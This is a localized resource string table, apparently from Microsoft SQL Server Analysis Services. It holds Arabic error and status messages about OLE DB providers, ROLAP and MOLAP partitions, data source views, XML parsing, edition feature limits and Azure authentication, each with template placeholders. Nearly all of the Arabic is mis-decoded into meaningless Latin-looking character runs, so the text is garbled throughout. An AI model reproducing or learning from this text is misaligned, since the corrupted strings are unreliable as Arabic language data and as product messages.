%1[%{strName/}%]%[/%{strName/}%].6A4D E-DD DOM AJ *-EJD 'DEDA '%{strFileName/}' H*-DJDG.6D' JECF *-HJD 'D3D3D) '%{string/}' %DI 'DFH9 %{type/}."FH9 (J'F'* SX :J1 5'D- '%{type/}'.!D' JH,/ E-*HI E*HB9 9DI 9B/) XML.�-/+ .7# #+F'! *-DJD 'D9F51 '%{strQName/}' 9DI 'D371 %d{iLine/}, 'D9EH/ %d{iCol/} (E3'-) 'D'3E '%{strNSURI/}') 6EF %1[%{strName/}%]%[/%{strName/}%].d-/+ .7# #+F'! *-DJD 'D9F51 '%{strElement/}' - E3'-) '3E :J1 E*HB9) DD9F51 'DE91QA AJ E3'-) '3E #.1I.U-/+ .7# #+F'! *-DJD 'D9F51 '%{strElement/}' - E3'-) '3E 'D9F51 DJ3* E3'-) '3E E9*E/).H-/+ .7# #+F'! *-DJD 'D9F51 '%{strElement/}' - 'D9F51 DJ3 9F51K' E9*E/K'.�*E* E5'/A) %5/'1 *FAJ0 C'&F (J'F'* :J1 E9*E/ #+F'! %D:'! 'D*3D3D; A&) 'DC'&F '%{objClass/}', '3E 'DC'&F '%{objName/}'. 'D3(( 'DE-*ED GH #FG *E* '3*9'/) 'D%5/'1 'D#-/+ 9DI .'/E #B/E.�*E 'D9+H1 9DI 'D9F51 :J1 'DE*HB9 '%{strElement/}' #+F'! *-DJD EDA (J'F'* *91JA IMBI. HD' J*HB9 H,H/ G0' 'D9F51 AJ EDA (J'F'* *91JA IMBI 'D3(( 'DE-*ED GH EDA (J'F'* 'D*91JA.PA�D' JECF #F J-*HJ B3E ROLAP 'D0J J-ED 'D'3E='%{name/}' 'DE91QA='%{id/}' 9DI *,EJ9'* *E %F4'$G' 9DI #9DI 'D#(9'/ 'D2EFJ) DD.'/E. *E *.7J 'D*,EJ9.�D' JECF #F J-*HJ B3E ROLAP 'D0J J-ED 'D'3E='%{name/}' 'DE91QA='%{id/}' 9DI *,EJ9'* 9DI 'DE3*HI ('DCD 'DCD ... ). *E *.7J 'D*,EJ9.�D' JECF #F J-*HJ B3E MOLAP 'D0J J-ED 'D'3E='%{name/}' 'DE91QA='%{id/}' 9DI *,EJ9'* *E %F4'$G' 9DI #9DI (O9/ ROLAP 9DI 'DE3*HI ('DCD 'DCD ... ). *E *.7J 'D*,EJ9.T#(D:* OLE DB 9F H,H/ -'D) .'DJ) DD9EH/ %d{column/} H'D0J *E *-/J/ 9DI #FG :J1 .'DM.O-,E BJE) 'D(J'F'* AJ 'D9EH/ '%{column/}' C'F* C(J1) ,/K' D**F'3( AJ G0' 'D9EH/.PAfD' J-// 'DC'1*1J/, %{cartfile/} B'&E) ('DEHA1JF 'DE9*E/JF 'D0JF J3*./EHF 'D9F51 mssqlcrt:provider XML.�J-*HJ 'DC'1*1J/, %{cartfile/} 9DI '3E EHA1 DJ3 5'D-K' AJ 'D9F51 mssqlcrt:provider. JECF AB7 '3*./'E 9B/) F5 XML EA1/) AJ G0' 'D9F51.�#F4# 'DC'1*1J/, (J'FK' DJ3 5'D-K' D#FG *E %F4'! #C+1 EF (J'F F5 H'-/, #H D#F 'D(J'F DE JCF GH 'DFH9 'D5-J-, #H D#FG *E %F4'! #C+1 EF B'&E) E9DE'* H'-/). 'D(J'F 'D0J *E %F4'$G H'D0J J9/ :J1 5'D- GH: %{stmt/}.PA?D' J*7'(B 9// 'DE9DE'* 'DEF6E) E9 9// 'DE9DE'* 'D*J *E *E1J1G'.m*H,/ 'DE9DE) %{param/} .'1, 'DF7'B 'D5'D- DDE9DE'* 'D.'5) (G0' 'D(J'F. *E 'D9+H1 9DI E9DE'* :J1 C'AJ) DD(J'F.h*E 9ED E-'HD) DDH5HD %E' %DI E9DE) .'1,J) #H E9DE) /'.DJ)/.'1,J). HD' J*E /9E #FH'9 'DE9DE'* G0G -'DJK'.)D' JECF '3*1/'/ E9DHE'* %5/'1 DBMS H'3EG.$DE J*E *-/J/ #J EHA1 DE5/1 'D(J'F'*.K*E* E5'/A) FH9 (J'F'* B'9/) (J'F'* :J1 E9*E/) C'D*'DJ: DBTYPE = %{dbtype/}.:*E* E5'/A) FH9 (J'F'* XML :J1 E9*E/) C'D*'DJ: %{xmltype/}.@'D9EH/ "%d{column/}" C(J1 ,/K' DG0' 'DE+JD EF Analysis Services.0-/+ .7# 9F/E' *E %F4'! EH5D DE,EH9) 5AHA OLE DB.H*901 9DI OLE DB *-HJD BJE) %DI FH9 'D(J'F'* 'DE7DH( DD9EH/ '%{column/}'.7#(D:* OLE DB 9F *,'H2 FH9 'D(J'F'* DD9EH/ '%{column/}'.P#(D:* OLE DB 9F -/H+ 9/E *7'(B DD%4'1) DFH9 'D(J'F'* 'D.'5 ('D9EH/ '%{column/}'.O#(D:* OLE DB 9F 'D-'D) '%{status/}' HGJ :J1 E91HA) ('DF3() DD9EH/ '%{column/}'.~J,( A12 EA'*J- 'D,/HD 'DE6EQF) AJ '3*9D'E SHAPE (FA3 'D*1*J( CE' AJ 'D,/HD 'D#5DJ. HB/ JA*B/ 'D'3*9D'E 'DE6EF D9('1) ORDER BY.-D' JBHE EHA1 'D(J'F'* (/9E *-6J1 'D'3*9D'E'*.6 *901 '3*1/'/ E9DHE'* 'DE.77 DD'3*9D'E 'D0J *E *-6J1G.�D' JECF 'D-5HD 9DI E9DHE'* 'DE.77 EF '3*9D'E EHA1 (J'F'* *E *-6J1G HJBHE (%1,'9 F*'&, 0'* *3D3D GJCDJ. JECF 'D-5HD 9DI E9DHE'* 'DE.77 (9/ *FAJ0 'D'3*9D'E.c*9/ 'D#9/'/ 'D*1*J(J) DDBJ/ %{rest/} .'1, 'D-/H/. *E 'D9+H1 9DI BJH/ :J1 C'AJ) DE,EH9) 5AHA 'DE.77.NDE J*E 'D*91QA 9DI E91QA 'DE.77 '%{schema_identifier/}' EF BP(D E5/1 'D(J'F'*.LD' JECF *-DJD 3D3D) 'D'*5'D 'DE-// D'3*9D'E (9J/ %DI "EHA1" H"B'9/) (J'F'*".%*E %D:'! 9EDJ) 'DB1'!) (3(( .7# E3(B.5*901 %F4'! 'DEHA1 'DEO/'1 '%{provider/}'. %{message/}M*E ,D( BJE) NULL DD9EH/ '%{column/}'. 'DBJE NULL :J1 E3EH- (G' AJ G0' 'D9EH/.ND' JBHE 'DC'1*1J/, DE5/1 'D(J'F'* '%{datasource/}' (/9E 9EDJ) 'D%/1',/'D*-/J+.X*E* E5'/A) FH9 (J'F'* B'9/) (J'F'* OLE DB 2.0 :J1 E9*E/) C'D*'DJ: DBTYPE = '%{dbtype/}'.'DE J*E *3,JD 'DEHA1 '%{ProviderName/}'.�*901 9DI EHA1 'D(J'F'* *-HJD 'DBJE) '%{variant/}' EF FH9 'D(J'F'* 'DE5/1 '%{vartype/}' %DI FH9 'D(J'F'* 'DE*HB9 '%{targettype/}'. 'D1,'! 'D*-BB EF #FH'9 (J'F'* 'D9EH/ AJ FEH0, 'D(J'F'* HE5/1 'D(J'F'* H'D*#C/ EF #F #FH'9 'D(J'F'* E*H'AB).F'DEHA1 'DA9'D H3D3D) 'DEHA1 'DA9'D 'DE1*(7) (E5/1 'D(J'F'* :J1 5'D-JF.�%5/'1 .NET Framework 'DE+(* 9DI G0' 'D,G'2 D' J/9E *3,JD 'D/.HD 'D#-'/J D@ Azure Active Directory DB'9/) (J'F'* Sql Azure. 9DJC *+(J* Microsoft .Net Framework 4.6 #H #9DI +E %9'/) 'DE-'HD).�.7# /'.DJ: A4DF' AJ 'D-5HD 9DI HCJD 1E2 AAD 'DEEJ2. 1E2 'D.7#: '%{CreationResult/}'. JEF9F' G0' EF 'D'*5'D (@ Sql Azure ('3*./'E *3,JD 'D/.HD 'D#-'/J.D#/I 'D7D( JSON DDL %DI 'D*-0J1'* 'D*'DJ): %{code/} - %{warningMsg/}.nA4D %,1'! '3*9D'E %DI 71JB) 916 E5/1 'D(J'F'* DH,H/ ,/HD #H 9EH/ #H '3E #H E91QA C(J1 DD:'J) DE.2F E$B* /'.DJ.uD' *-*HJ 71JB) 916 E5/1 'D(J'F'* 9DI *91JA DD,/HD '%{table/}' #H 71JB) 'D916. 1(E' DE JCF B/ *E *9JJF 'D.'5J) 'DE5/1.aD' *-*HJ 71JB) 916 E5/1 'D(J'F'* 9DI *91JA DD9EH/ '%{column/}' AJ ,/HD '%{table/}' #H 71JB) 916G.bD' *-*HJ 71JB) 916 E5/1 'D(J'F'* 9DI '3E 'D9EH/ '%{column/}' AJ 'D,/HD '%{table/}' #H 71JB) 'D916.lD' *-*HJ 71JB) 916 E5/1 'D(J'F'* 9DI 'DFH9 'DEF7BJ DD9EH/ '%{column/}' AJ 'D,/HD '%{table/}' #H 71JB) 'D916.kD' *-*HJ 71JB) 916 E5/1 'D(J'F'* 9DI FH9 'D(J'F'* DD9EH/ '%{column/}' AJ 'D,/HD '%{table/}' #H 71JB) 'D916.YB'E 'D'3*9D'E XPath '%{xpath/}', (%1,'9 .7# 9F/E' *E *FAJ0G 9DI 71JB) 916 E5/1 'D(J'F'*.V-/+ .7# /'.DJ :J1 E*HB9 (*E 'D'3*9D'E 9F 9D'B) :J1 EH,H/) AJ 71JB) 916 E5/1 'D(J'F'*).=*E 'D9+H1 9DI #C+1 EF 9D'B) H'-/) (FA3 'DE91QA ('%{relid/}').gDE J*E 'D9+H1 9DI 'D9D'B) #H 'DEA*'- 'D.'1,J #H 'DE91QA EF BP(D '%{relid/}' AJ 71JB) 916 E5/1 'D(J'F'*.m71JB) 916 E5/1 'D(J'F'* DE5/1 'D(J'F'* :J1 'D5'D-). 'D.7# 'D.'1,J: %1[%{exception/}%]%[;%{exceptioninner/}%].PAt-/+ 'D'3*+F'! 'D*'DJ (JFE' C'F J*E *FAJ0 9EDJ) 9DI 71JB) 916 E5/1 (J'F'*: %1[%{exception/}%]%[;%{exceptioninner/}%].n-/+ 'D.7# 'D*'DJ (JFE' C'F J*E %F4'! ,/HD AJ 71JB) 916 E5/1 (J'F'*: %1[%{exception/}%]%[;%{exceptioninner/}%].n-/+ 'D.7# 'D*'DJ (JFE' J*E C'F %3B'7 ,/HD EF 71JB) 916 E5/1 (J'F'*: %1[%{exception/}%]%[;%{exceptioninner/}%].m-/+ 'D.7# 'D*'DJ (JFE' C'F J*E %,1'! *3D3D D71JB) 916 E5/1 (J'F'*: %1[%{exception/}%]%[;%{exceptioninner/}%].�-/+ 'D'3*+F'! 'D*'DJ (JFE' C'F J*E '3*./'E EF4& 'D#(9'/ 'D2EFJ) (Microsoft.AnalysisServices.TimeDimGenerator.dll): %1[%{exception/}%]%[;%{exceptioninner/}%].M%1[%{exception/}%]%[;%{exceptioninner/}%]. #7DB* H',G) IDataReader 'D'3*+F'!.O%1[%{exception/}%]%[;%{exceptioninner/}%]. #7DB* H',G) IDbConnection 'D'3*+F'!.L%1[%{exception/}%]%[;%{exceptioninner/}%]. #7DB* H',G) IDbCommand 'D'3*+F'!.yD' *BHE 'D.'5J) "E9DE'*" DDH',G) IDbCommand (/9E 'DH',G) IList. 'D.7# 'D.'1,J: %1[%{exception/}%]%[;%{exceptioninner/}%].I%1[%{exception/}%]%[;%{exceptioninner/}%]. -/+ .7# #+F'! B1'!) EDA E6:H7.I%1[%{exception/}%]%[;%{exceptioninner/}%]. -/+ .7# #+F'! C*'() EDA E6:H7.PAg*901 %,1'! '*5'D (E5/1 'D(J'F'* E9 DataSourceID 'D.'5 (@ '%{datasourceid/}', ('3E '%{datasourcename/}'.pD' JECF 'DH5HD %DI 'D,/HD '%{tableid/}' 'DE7DH( D1'(7 '3*F'/K' %DI 'D9D'B'* 'DEH,H/) AJ 71JB) 916 E5/1 'D(J'F'*.G*E 'D9+H1 9DI *C1'1 AJ 71JB) 916 E5/1 'D(J'F'* AJ 'D,/HD '%{tableid/}'.TD' J*7'(B 'D9EH/'F '%{key/}' H'%{fkey/}' AJ 9D'B) EH,H/) AJ 71JB) 916 E5/1 'D(J'F'*.9*E %,1'! E-'HD) DD'3*9D'E 9F EA*'- 3E) EH,H/ .'1, 'D-/H/.:*E %,1'! E-'HD) DD'3*9D'E 9F *1,E) 3E) EH,H/) .'1, 'D-/H/.R.7# /'.DJ: D' J*7'(B 9// 'D*6EJF'* H'D9F'51 'DB'(D) DD1(7 'D*J J*E 'D'3*9D'E 9FG'.�DB/ *(JF #F 'D1(7 'D#5DJ ('DE.77 '%{parschema/}', 'D,/HD '%{partable/}') H'D1(7 'D*'(9 ('DE.77 '%{childschema/}' 'D,/HD '%{childtable/}') J#*J'F EF ,/'HD E.*DA). HG0G DJ3* *1CJ() 5'D-).�A4D* 9EDJ) 'D*-/J+ D#F 71JB) 916 E5/1 'D(J'F'* *-// 'D9EH/ ('D,/HD '%{table/}', 'D9EH/ '%{column/}') ('9*('1G DDB1'!) AB7 #H E-3H( #H C*2'J/ *DB'&J.@%E' #FG DE J*E *-EJD DLL 'DEO/'1, '%{mgddll/}', #H #FG :J1 5'D-.D**3(( 9EDJ) 'D*-/J+ AJ C*'() 'DBJE 'DE*9//) %DI 'D9EH/ '%{column/}'.N%F ',*J'2 71JB) 916 E5/1 'D(J'F'* J*,'H2 'D-/ 'D#B5I DD9EB 'DECHQF %d{depth/}.0'D1(7 DD9EH/ '%{column/}' DJ3 FH9 ColumnBinding.LJ-*HJ 'D,/HD '%{table/}' 9DI *9(J1 SQL HD' JECF 'D%4'1) EF BP(D E9'D,) */AB.IJECF DE9'D,) 'D*/AB 'D%4'1) AB7 %DI ,/HD EA1/ AJ 71JB) 916 E5/1 'D(J'F'*.�J3*F/ 'D,/HD '%{table/}' %DI '3*9D'E E3EI, HJ-*HJ 9DI H'-/ #H #C+1 EF 'D#9E/) 'DE-3H(). HD' JECF #F J-*HJ ,/HD E3*F/ %DI '3*9D'E E3EI 9DI #9E/) E-3H(). %0' C'F* 'D#9E/) 'DE-3H() 61H1J), ABE (%6'A*G' %DI *9(J1 'D'3*9D'E.�J*E AB7 /9E 9D'B'* 'D1#3 ('D#71'A D#(9'/ 'D#5D-'D*'(9. HJ-*HJ 'D,/HD '%{table/}' 9DI 9D'B'* E*9//) 'D#71'A (JF #9E/) 'D#5D H'D*'(9.�D' JECF DB'9/) (J'F'* ROLAP %F4'! AG13 9DI 71JB) 'D916 'D.'5) ('DE.77  '%{schema/}', 'D,/HD '%{table/}'. *-BB EF #FG *E* *D(J) E*7D('* 71B 'D916 'DEAG13).�J-*HJ 'D,/HD '%{table/}' 9DI 9D'B) E*9//) 'D#71'A AJ 'D,/HD 'D#5D 'D.'5 (G' HD' JECF #F J-*HJ 9DI #9E/) EF FH9 'D(J'F'* "+F'&J".kD' JECF *FAJ0 9EDJ) 'DC*'() 'D.DAJ) D#F 'DC'1*1J/, 'D.'5 (E5/1 'D(J'F'* D' J/9E H8'&A LinkChildrenToParent.GD' JECF *FAJ0 9EDJ) 'DC*'() 'D.DAJ) D#FG' B/ *$+1 9DI 'D,/'HD 'DE*9//).YD' JECF *FAJ0 9EDJ) 'DC*'() 'D.DAJ) D#FG' B/ **6EF E5/1 'D(J'F'* 'D(9J/ '%{datasource/}'.TD' JECF *FAJ0 9EDJ) 'DC*'() 'D.DAJ) D#FG *E *-/J/ 'DC+J1 ,/K' EF 'D41H7 DD1BE 'D#5D.v*E* E5'/A) E5/1 'D(J'F'* 'D(9J/ '%{datasource/}' H'DC'1*1J/, D' J/9E 'D#3E'! 'D'3*9D'E'* 'D(9J/) #H 'DE3*9'1) DD,/HD.dD' JECF %F4'! *,EJ9 ROLAP D#F 'DC'1*1J/, DE5/1 'D(J'F'* '%{datasource/}' D' J/9E 71B 'D916 'DEAG13).�*901 %F4'! 'D'3*9D'E D#FG J*E A12 FA3 'D9EH/ (TableId='%{table/}', ColumnId='%{column/}') #C+1 EF E1) H'-/), DCF EF .D'D #FH'9 (J'F'* E.*DA).IJ*901 'D9+H1 9DI E5/1 'D(J'F'* 'D(9J/ '%{datasource/}' AJ (J'F'* 'D*91JA.^*E* E5'/A) E5/1 'D(J'F'* 'D(9J/ '%{datasource/}' #+F'! E9'D,) (O9/ #5D-*'(9 HD' JECF '3*./'EG.�D' J/9E 'DC'1*1J/, DE5/1 'D(J'F'* '%{datasource/}' '3EK' E3*9'1K' DD,/HD %D' #F %,1'! '3*9D'E D(O9/ #5D-*'(9 J*7D( G0G 'D%EC'FJ).4D' *-*HJ .'5J) 'D(O9/ 'D2EFJ '%{property/}' 9DI FH9.^D' JECF *FAJ0 9EDJ) 'D-0A D#F 'D.'/E B/ 5'/A #C+1 EF 96H H'-/ AJ (O9/ #5D-*'(9 DG FA3 'DEA*'-.3'DFH9 %{type/} :J1 E/9HE EF BP(D Analysis Services.,*E %D:'! 9EDJ) B'9/) 'D(J'F'* (3(( A4D 3'(B.]D' J9/ E5/1 'D(J'F'* 'D+'FHJ '%{datasource/}' E5/1 (J'F'* 9D'&BJK', #H D' J3*./E EHA1 OLE DB.4*901 %,1'! '*5'D (E5/1 'D(J'F'* 'DE-// AJ 'D'3*9D'E.xJ*7D( E5/1 'D(J'F'* '%{datasource/}' H,H/ E3*HI E92HD EF SnapshotIsolation 'D0J DE J*E /9EG EF BP(D EHA1 B'9/) 'D(J'F'*.?*901 *#3J3 '*5'D %DI E5/1 'D(J'F'* ('D'3E '%{datasourcename/}'.PAN(JFE' C'F* **E B1'!) *9B( SQL, -/+ .7# 'D%9D'E 'D*'DJ: ['D-'D) = %d{status/}].TA4D* 9EDJ) %9D'E SQL Server 'D*'DJ): 1E2 'D.7# = %d{code/}, 'D9EDJ) = %{operation/}.O*901 'D9+H1 9DI 'D9EH/ '%{col1/}' AJ 9('1) 'DE3*HI 'D#9DI 'D.'5) ('D(J'F SHAPE.c*E '3*./'E 'D9EH/ '%{col1/}' AJ 9('1) 'DE3*HI 'D#9DI 'D.'5) ('D'3*9D'E SHAPE E1*JF AJ 9('1) RELATE.�*-*HJ 9('1) APPEND AJ 'D'3*9D'E SHAPE 9DI #C+1 EF 9EH/ H'-/ J4J1 %DI FA3 9EH/ 'DEA*'- '%{col1/}' 'DEH,H/ AJ '3*9D'E 'DE3*HI 'D#9DI.UDE J*E 'D9+H1 9DI 'D9EH/ '%{col1/}' AJ 'D9('1) RELATES AJ F*'&, 'D'3*9D'E OPENROWSET.�D' J9*(1 9// #9E/) 'DEA'*J- AJ 1BE 'D9('1) APPEND %d{iClause/} GH FA3 'D9// CE' AJ 9('1) APPEND 0'* 'DE3*HI 'D#9DI 'D.'5) ('D'3*9D'E SHAPE.c*E %1,'9 F*J,) :J1 E*HB9) #+F'! 'D*-BB EE' %0' C'F* 71B 'D916 'DEAG13) E9*E/) D*,EJ9'* Rolap #E D'.h*E *-/J/ *'1J. (/! :J1 5'D- AJ EF4& 'D#(9'/ 'D2EFJ)   (Microsoft.AnalysisServices.TimeDimGenerator.dll).i*E *-/J/ *'1J. 'F*G'! :J1 5'D- AJ EF4& 'D#(9'/ 'D2EFJ) (Microsoft.AnalysisServices.TimeDimGenerator.dll).�C'F* 'DBJE) 'D*J *E %F4'$G' EF BP(D EF4& 'D#(9'/ 'D2EFJ) (Microsoft.AnalysisServices.TimeDimGenerator.dll) EF FH9 (J'F'* :J1 E*HB9.D-/+ .7#. :J1 B'/1 9DI 'D*-HJD (JF FH9 (J'F'* OLE HFH9 (J'F'* 'DF8'E.2EGD) 'D'*5'D 'DE-//) AJ *CHJF 'D.'/E C(J1) DD:'J).3'DEGD) 'D9'E) 'DE-//) AJ *CHJF 'D.'/E C(J1) DD:'J).PAIJ(/H #F E,EH9'* 5AHA 'DA5D 'DE4'1 %DJG' EF BP(D 'D9EDJ) SHAPE :J1 EA1H2).�D' *3*7J9 'D1H'(7 'DEH,H/) .'1, 'D371 '3*./'E E5/1 'D(J'F'* datasource 'D6EFJ '.'. '3*./E E91QA E5/1 (J'F'* DataSource 51J- AJ 'D1H'(7 'DE-//) DG0G 'D9EDJ).NJ*E FBD 'D%5/'1 'D-'DJ DC'&F E5/1 'D(J'F'* %DI H69 9/E 'D'*5'D C,2! EF 7D( E'.;DB/ *E %(7'D 9EDJ) 'D*.2JF 'DE$B* 'DHB'&J) EF BP(D 7D( ".1.3'D9EH/ '%{columnname/}' :J1 EH,H/ AJ E,EH9) 'D5AHA.,9EH/ '%{columnname/}' EC11 AJ E,EH9) 'D5AHA.SD' JECF *-EJD DLL 'DEO/'1, '%{mgddll/}', D#FG *E *97JD 'D*9DJE'* 'D(1E,J) 'DEO/'1).}A4D AJ *GJ&) 'DEC*() 'DEO/'1) '%{mgddll/}'. *-BB EF #F Microsoft .Net Framework 4.0 #H 'D%5/'1 'D#-/+ E+(* 9DI G0' 'DCE(JH*1.�J*901 *-EJD 'DEC*() 'DEO/'1) D#F Microsoft .Net Framework 4.0 #H 'D%5/'1 'D#-/+ :J1 E+(* 9DI G0' 'DCE(JH*1. BE (*+(J* Microsoft .Net Framework 4.0 #H 'D%5/'1 'D#-/+ B(D E-'HD) 'DBJ'E (G0' 'D%,1'! E1) #.1I.[-/+ 'D'3*+F'! 'D*'DJ #+F'! *1,E) 'DD:) 'D7(J9J): %1[%{exception/}%]%[;%{exceptioninner/}%].5J*901 *FAJ0 'D7D( D#F ./E) 'DD:) 'D7(J9J) :J1 E*HA1).SA4D 'D7D( JSON DDL E9 H,H/ 'D.7# 'D*'DJ: %1[%{exception/}%]%[;%{exceptioninner/}%].AA4D 'D7D( JSON DDL E9 H,H/ 'D.7# 'D*'DJ: %{code/} - %{errorMsg/}.,'D7D( JSON DDL JA*B/ %DI '3E B'9/) 'D(J'F'*.StandardStandard 64 (*
EnterpriseEnterprise 64 (*	DeveloperDeveloper 64 (*
EvaluationEvaluation 64 (*Local CubesPALocal Cubes 64 (*Business IntelligenceBusiness Intelligence 64 (* *FAJ0 'D*9DJE'* 'D(1E,J) 'DE/'1)'D#B3'E 'D(9J/)'DEBJ'3'* F5A 'D%6'AJ)*9(J1'* 'DEBJ'3PA'DEF'8J1'DC*'() 'D.DAJ) DD(O9/'DC*'() 'D.DAJ) 'DE('41)/A9 'D(J'F'*
E9'D,) EH'2J)7.H'12EJ'* ECHF'* %6'AJ) .'5) (,G'* .'1,J) D,E9 'D(J'F'*!.H'12EJ) Microsoft Neural Network&.H'12EJ) Microsoft Sequence Clustering.H'12EJ) Microsoft Time Series.H'12EJ) Microsoft Text Mining$.H'12EJ) Microsoft Association Rules.H'12EJ) Microsoft Naive Bayes&'DE9'D,) 'DE*H'2J) DFE'0, ,E9 'D(J'F'*1D' JH,/ -/ D9// '3*9D'E'* ,E9 'D(J'F'* 'DE*2'EF).E3,D 1-D) 'D7J1'F3,D 'D'3*9D'E'*3,D 'D#.7'!E9'D,) (7J&)'D1(7 /'.D FA3 B'9/) 'D(J'F'*'D1(7 /'.D E+JD 'D.'/E FA3G.'D1(7 (E+JD ".1.'D1(7 (E+JD ".1.*4AJ1 CDE) 'D31'D*.2JF 'DE$B* 'DHB'&JXML +F'&J 'D4(C)
6:7 'D4(C)XML +F'&J 'DEDA'*	6:7 'DEDA3E'* ,E9 (J'F'* :J1 E-//).#G/'A *HB9 E*9//)**HB9 E*B'79 9(1 'D9/J/ EF 'D3D'3D 'D2EFJ).
*HB9 *3D3DE9DE'* .H'12EJ) E*B/E))E9'D,) E*H'2J) D.H'12EJ) ,E9 (J'F'* E9JF)COM UDFsF3. '-*J'7J'3*9'/)E2'EF)0'C1) 'D*.2JF 'DE$B**1,E'* (J'F'* 'D*91JA**(9$.H'12EJ) Microsoft Linear Regression&.H'12EJ) Microsoft Logistic Regression;*3E- .H'12EJ) Microsoft Time Series (9('1'* PREDICTION JOIN&*5AJ) E3*F/) %DI 'D(J'F'* DFE'0, 'D,E97J *B3JE FE'0, ,E9 'D(J'F'*. *HB9 E*B'79 DFE'0, ,E9 'D(J'F'*.EHB9 *.2JF B'9/) 'D(J'F'*H8'&A %1A'B/A5D/9E BH'9/ (J'F'* 'DB1'!) AB7H8'&A ImageSave/ImageLoad.Analysis Services AJ H69 'D*C'ED E9 SharePoint Analysis Services AJ 'DH69 ,/HDJEnterprise CoreEnterprise Core 64 (*71JB) 916 E(H()#B3'E E*9//)
'3*9D'E E('41'DEF'8J1-'F*G* A*1) *BJJE Microsoft Analysis Services.SKU :J1 5'D-).H'DEJ2) '%{feature/}' :J1 E*6EF) AJ %5/'1 '%{sku/}' D@ Analysis Services.PAB*E *97JD 'DEJ2) '%{feature/}' EF BP(D EJ2) 'D*CHJF '%{property/}'.�*E 'DC4A 9F 'F*G'C DH-/) SKU J4J1 0DC 9'/)K %DI E-'HD) '3*./'E EJ2'* EF %5/'1 #BD EF SKU 'D.'5 ('DEF*, -J+ D' *CHF G0G 'DEJ2'* B'(D) DD'3*./'E %D' AJ %5/'1'* SKU 'D#9DI.�*E *,'H2 'D-/ 'D#B5I D9// 'D#B3'E AJ E,EH9) EBJ'3. AJ -JF #F %5/'1 'D.'/E 'DE+(* D' J3E- (#C+1 EF 3 #B3'E HD' #C+1 EF B3E H'-/ DDC*'() 'D.DAJ).bD' JECF *4:JD G0' 'D%5/'1 D@ Analysis Service 9DI 'D9/J/ EF E,EH9'* 'DE9'D, #H #C+1 EF 64 E9'D,K'.PAIG0' 'D%5/'1 EF SQL Server Analysis Services D' J/9E #B3'E E*9//) AJ ,/HD.DG0' 'D%5/'1 EF SQL Server Analysis Services D' J/9E H69 DirectQuery.PA>G0' 'D%5/'1 EF SQL Server Analysis Services D' J/9E 'DEF8H1'*.�D' JECF '3*./'E C'&F 'D3J'B F81K' D9/E *HA1 3J'B .'/E E*'-. J-/+ 0DC (4CD FEH0,J (3(( '3*./'E FEH0, C'&F AdomdServer 6EF %,1'! E.2QF.�D' JECF '3*./'E .'5J) CurrentCube 9DI C'&F 3J'B F81K' D9/E *HA1 3J'B EC9( E*'-. J-/+ 0DC 9'/) F*J,) '3*/9'! 'D%,1'! 'DE.2F 6EF %,1'! '3*9D'E MDX/SQL %DI EC9(.7J*E 'D3E'- ('D9EDJ) AB7 AJ 3J'B 9('1) CALL #H 7D( JSON.o%E' #F C'&FK' ('D'3E 'DA1J/ '%{uniquename/}' :J1 EH,H/ #H 'DE3*./E D' JE*DC 'D#0HF 'DD'2E) DDH5HD DG0' 'DC'&F.�D' JB(D 'DC'&F 'D'3*/9'!'* 'DH'1/) EF E$41'* 'D*1'(7 'DJ* D' *F*EJ DD.'/E. HJ-/+ 0DC 9'/) F81K' D'3*./'E FEH0, 'DC'&F AdomdServer 6EF %,1'! E.2QF.�D' JECF '3*./'E C'&F 'DFEH0, F81K' D9/E *HA1 3J'B ,D3) E*'-. J-/+ 0DC 9'/) F81K' D'3*./'E FEH0, 'DC'&F AdomdServer 6EF %,1'! E.2QF.`'D'*5'D 'DE-DJ :J1 E*HA1. J-/+ 0DC 9'/) F81K' D'3*./'E FEH0, 'DC'&F AdomdServer 6EF %,1'! E.2QF.'C*ED* 'D9EDJ) (F,'-.%9D'EJ*-0J1.7#
.7# /'.DJ:.7# AJ F8'E 'DEDA'*:.7# AJ 'D0'C1):'D*-CE AJ 'DEH'1/:.7# AJ OLE DB:.7# AJ COM:.7# AJ WinINet:'DF8'E 'DA19J DE9'D,) 'D13'&D:E-DD XML D@ Analysis:'DE-DD:F#.7'! AJ 'DH-/) 'DFE7J) DDH5HD %DI B'9/) 'D(J'F'* 'DEH,H/) 9DI 'D.'/E.)#.7'! AJ 'DE-1C 'D'1*('7J 'D9'DJ 'DE3*HI.#.7'! AJ EHA1 OLE DB.#.7'! AJ E/J1 (J'F'* 'D*91JA.#.7'! AJ E5EE 'D*,EJ9.PA,E9 'D(J'F'*"#.7'! AJ EC*() 9/'/ E1'B() 'D#/'!./9E E3'1 'DE9'D,)::'D**(9:'D.'/E:#.7'! 'DE9'ED):!#.7'! 'DF3. 'D'-*J'7J H'D'3*9'/):#.7'! AJ E4:D *.2JF OLAP:3#.7'! AJ 'DH-/) 'DFE7J) DD*9DJE'* 'D(1E,J) 'DE/'1):13'&D EF E-1C OLAP.%#.7'! EF 'DH-/) 'DFE7J) D'3*9D'E SQL:'D13'&D EF E-1C ,E9 'D(J'F'*:)#.7'! AJ 'DE-1C 'D'1*('7J 'D9'DJ 'DE3*HI.#.7'! AJ EC*() 'D6:7:#.7'! AJ EC*() 'D*4AJ1:#.7'! #+F'! *-DJD 9F'HJF DIME.#.7'! AJ E.2F E,EH9) 'D5AHA.#.7'! AJ ./E'* *9(J1'* VBA:!#.7'! AJ 'DC*'() 'D.DAJ) DD.D'J':
#.7'! AJ BLS:
#.7'! AJ BLS:
#.7'! AJ BLS:(#.7'! E*9DB) (E/I *HA1 'DEJ2'* H'D*CHJF:#.7'! 'D%,1'!'* 'DE.2F):
*91JA 'D**(9.PAE-1C Analysis Services 'DE/E,:.7# DirectQuery:.7# AJ NLP: .7# AJ *4:JD/%JB'A *4:JD 'DEJ2):.7# AJ E-'C') 'DA4D:.7# AJ OnPremise:
*E (/! 'DA5D.*E %FG'! 'DA5D.
